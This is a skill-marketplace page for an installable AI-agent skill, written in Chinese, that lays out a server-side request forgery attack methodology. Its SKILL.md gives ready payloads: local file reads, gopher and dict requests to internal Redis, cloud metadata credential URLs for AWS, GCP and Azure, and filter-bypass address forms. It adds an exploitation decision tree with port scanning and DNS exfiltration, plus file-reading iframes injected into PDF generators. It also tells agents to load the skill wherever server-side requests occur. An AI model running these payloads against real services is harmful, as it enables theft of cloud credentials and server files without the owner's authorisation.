haryy985/yunkun-console-preview/ssrf-methodology

Claude Code and agent skill by haryy985/yunkun-console-preview

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

服务端请求伪造(SSRF)的检测与利用execution-framework。当目标有 URL 获取/预览/导入功能、PDF 生成、Webhook、远程图片加载、RSS 导入时使用。包含 IP 过滤绕过大全、协议利用(file/gopher/dict)、云元数据窃取、内网服务探测。即使参数名看起来无害（如 src、callback、next），只要涉及服务端发起请求的场景都应加载此 skill。

Install

npx vskill@latest install haryy985/yunkun-console-preview/ssrf-methodology

SKILL.md

SSRF 攻击execution-framework

深入参考

Phase 1: 发现 SSRF 入口

参数名线索（高度可疑）： url, uri, path, src, dest, redirect, callback, next, data, reference, site, html, imageUrl, feed, target, proxy, link

功能线索：URL 预览、PDF/图片生成（wkhtmltopdf, puppeteer）、Webhook、远程图片获取、RSS 导入

Phase 2: 基础 SSRF 验证

url=http://127.0.0.1/
url=http://localhost/
url=http://127.0.0.1:PORT/

响应差异判断：内容变化 → 有回显 SSRF | 只有状态码 → 半盲 | 无差异 → 全盲

陷阱：应用可能过滤 127.0.0.1 但放行变体 → 需要绕过（references/ssrf-bypass.md）

Phase 3: 协议利用速查

url=file:///etc/passwd       # 文件读取（最高价值）
url=file:///flag.txt
url=gopher://127.0.0.1:6379/ # 攻击内部 Redis（⚠️ PHP curl 可用, Python requests 不可用）
url=dict://127.0.0.1:6379/info

Phase 4: 云元数据速查

http://169.254.169.254/latest/meta-data/iam/security-credentials/  # AWS
http://metadata.google.internal/computeMetadata/v1/                 # GCP (需 Header)
http://169.254.169.254/metadata/instance?api-version=2021-02-01     # Azure (需 Header)

Phase 5: 利用决策树

SSRF 入口确认
├─ 有回显？ → 直接读内容/探测端口
│  ├─ file:// 可用？ → 读取敏感文件（/etc/passwd, /flag.txt, /app/config.py）
│  ├─ 云环境？ → 查询元数据获取凭据 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
│  └─ 内网服务？ → 探测 Redis/ES/MongoDB → gopher 利用
├─ 半盲/全盲？
│  ├─ 端口扫描 → 状态码/响应时间差异
│  └─ 外带 → DNS 外带 / 延时差异
├─ IP 过滤？ → 编码绕过 → [references/ssrf-bypass.md](references/ssrf-bypass.md)
└─ 协议限制？ → 检查 HTTP-only vs 全协议

协议与库限制

不同实现支持的协议不同，不是所有 SSRF 都支持所有协议：

库/环境file://gopher://dict://
PHP curl✅✅✅
Python requests❌❌❌
Python urllib✅❌❌
Java URLConnection✅❌❌
Node.js fetch❌❌❌

IP 短格式绕过：127.1、127.0.1（省略 0）

注意事项

  • file:// 是最高价值协议：直接读取服务器文件
  • Gopher 陷阱：PHP curl 支持 gopher，Python requests 不支持
  • SSRF 和 XXE 经常组合：XXE 中的 SYSTEM 就是 SSRF
  • PDF 生成器 SSRF：wkhtmltopdf/puppeteer 生成 PDF 时会加载外部资源，注入 <iframe src="file:///etc/passwd"> 或 <img src="http://127.0.0.1/">

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/haryy985/yunkun-console-preview/ssrf-methodology/badge)](https://verified-skill.com/skills/haryy985/yunkun-console-preview/ssrf-methodology)

Something wrong with this skill or its page? Tell us.